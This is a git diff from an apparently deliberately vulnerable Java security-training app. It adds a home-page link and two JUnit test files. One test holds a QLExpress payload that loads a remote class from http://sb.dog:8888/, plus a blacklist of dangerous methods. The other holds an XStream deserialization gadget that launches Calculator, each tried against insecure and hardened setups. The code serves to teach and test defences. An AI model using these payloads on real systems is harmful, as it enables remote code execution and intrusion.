@@ Home Page -

Hello .

-

Welcome to login java-sec-code application. Application Infomation

-

- Swagger   - CmdInject   - JSONP   - Picture Upload   - File Upload   - Cors   - PathTraversal   - SqlInject   - SSRF   - RCE   - ooxml XXE   - xlsx-streamer XXE -

+

Hello .

+

Welcome to login java-sec-code application. Application Infomation

+

+ Swagger   + CmdInject   + JSONP   + Picture Upload   + File Upload   + Cors   + PathTraversal   + SqlInject   + SSRF   + RCE   + ooxml XXE   + xlsx-streamer XXE + actuator env +

-

- JWTCreateToken - GetUserFromJWTToken -

-

...

- logout +

+ JWTCreateToken + GetUserFromJWTToken +

+

...

+logout - \ No newline at end of file + diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html index 1a4c4225..d5c4ccd5 100644 --- a/src/main/resources/templates/login.html +++ b/src/main/resources/templates/login.html @@ -28,7 +28,9 @@
-

RememberMe

+

+ RememberMe +

diff --git a/src/main/test/org/test/QLExpressTest.java b/src/main/test/org/test/QLExpressTest.java new file mode 100644 index 00000000..a2071d58 --- /dev/null +++ b/src/main/test/org/test/QLExpressTest.java @@ -0,0 +1,103 @@ +package org.test; + +import com.ql.util.express.DefaultContext; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.IExpressContext; +import com.ql.util.express.config.QLExpressRunStrategy; +import org.junit.Test; + +/** + * QLExpress security test cases. + */ +public class QLExpressTest { + + private static final String poc = "url = 'http://sb.dog:8888/'; classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);classLoader.loadClass('Hello').newInstance();"; + + /** + * basic usage + */ + @Test + public void basicUsage() throws Exception{ + ExpressRunner runner = new ExpressRunner(); + IExpressContext context = new DefaultContext<>(); + context.put("a", 1); + context.put("b", 2); + Object r = runner.execute("a+b", context, null, true, false); + System.out.println(r); // print 3 + } + + /** + * Test case of /qlexpress/vuln1. Use URLClassLoader to load evil class. + */ + @Test + public void vuln1() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } + + /** + * fix method by using class and method whitelist. + */ + @Test + public void sec01() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + QLExpressRunStrategy.addSecureMethod(String.class, "length"); + IExpressContext context = new DefaultContext<>(); + Object r1 = runner.execute("'abc'.length()", context, null, true, false); + System.out.println(r1); + Object r2 = runner.execute(poc, context, null, true, false); + System.out.println(r2); + } + + /** + *

Fix method by using class and method blacklist. It may exist bypass.

+ * + *

Default blacklist: + *

    + *
  • System.class.getName() + ".exit"
  • + *
  • ProcessBuilder.class.getName() + ".start"
  • + *
  • Method.class.getName() + ".invoke"
  • + *
  • Class.class.getName() + ".forName"
  • + *
  • ClassLoader.class.getName() + ".loadClass"
  • + *
  • ClassLoader.class.getName() + ".findClass"
  • + *
  • ClassLoader.class.getName() + ".defineClass"
  • + *
  • ClassLoader.class.getName() + ".getSystemClassLoader"
  • + *
  • javax.naming.InitialContext.lookup
  • + *
  • com.sun.rowset.JdbcRowSetImpl.setDataSourceName
  • + *
  • com.sun.rowset.JdbcRowSetImpl.setAutoCommit
  • + *
  • QLExpressRunStrategy.class.getName() + ".setForbidInvokeSecurityRiskMethods"
  • + *
  • jdk.jshell.JShell.create
  • + *
  • javax.script.ScriptEngineManager.getEngineByName
  • + *
  • org.springframework.jndi.JndiLocatorDelegate.lookup
  • + *
+ *

+ */ + @Test + public void sec02() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } + + + /** + *

Fix method by using sandbox.

+ */ + @Test + public void sec03() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setSandBoxMode(true); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } +} diff --git a/src/main/test/org/test/XStreamTest.java b/src/main/test/org/test/XStreamTest.java new file mode 100644 index 00000000..a5375ebf --- /dev/null +++ b/src/main/test/org/test/XStreamTest.java @@ -0,0 +1,70 @@ +package org.test; + +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.io.xml.DomDriver; +import com.thoughtworks.xstream.security.AnyTypePermission; +import org.joychou.dao.User; +import org.junit.Test; + +public class XStreamTest { + + private static final String poc_xml = "\n" + + " foo\n" + + " \n" + + " java.lang.Comparable\n" + + " \n" + + " \n" + + " \n" + + " Open\n" + + " -a\n" + + " Calculator\n" + + " \n" + + " \n" + + " start\n" + + " \n" + + " \n" + + ""; + + + /** + * XStream basic usage. + */ + @Test + public void basicUsage() { + User user = new User(); + user.setId(0); + user.setUsername("admin"); + + XStream xstream = new XStream(new DomDriver()); + String xml = xstream.toXML(user); // Serialize + System.out.println(xml); + + // High version xstream needs set allowTypes + xstream.allowTypes(new Class[]{User.class}); + user = (User) xstream.fromXML(xml); // Deserialize + System.out.println(user.getId() + ": " + user.getUsername()); + } + + /** + * Command execute + */ + @Test + public void vuln01() { + System.out.println(poc_xml); + XStream xstream = new XStream(); + xstream.addPermission(AnyTypePermission.ANY); // Insecure configuration + xstream.fromXML(poc_xml); // Deserialize + } + + + /** + * Security code. XStream version: 1.4.20 + */ + @Test + public void sec01() { + System.out.println(poc_xml); + XStream xstream = new XStream(); + xstream.fromXML(poc_xml); // Deserialize + } + +}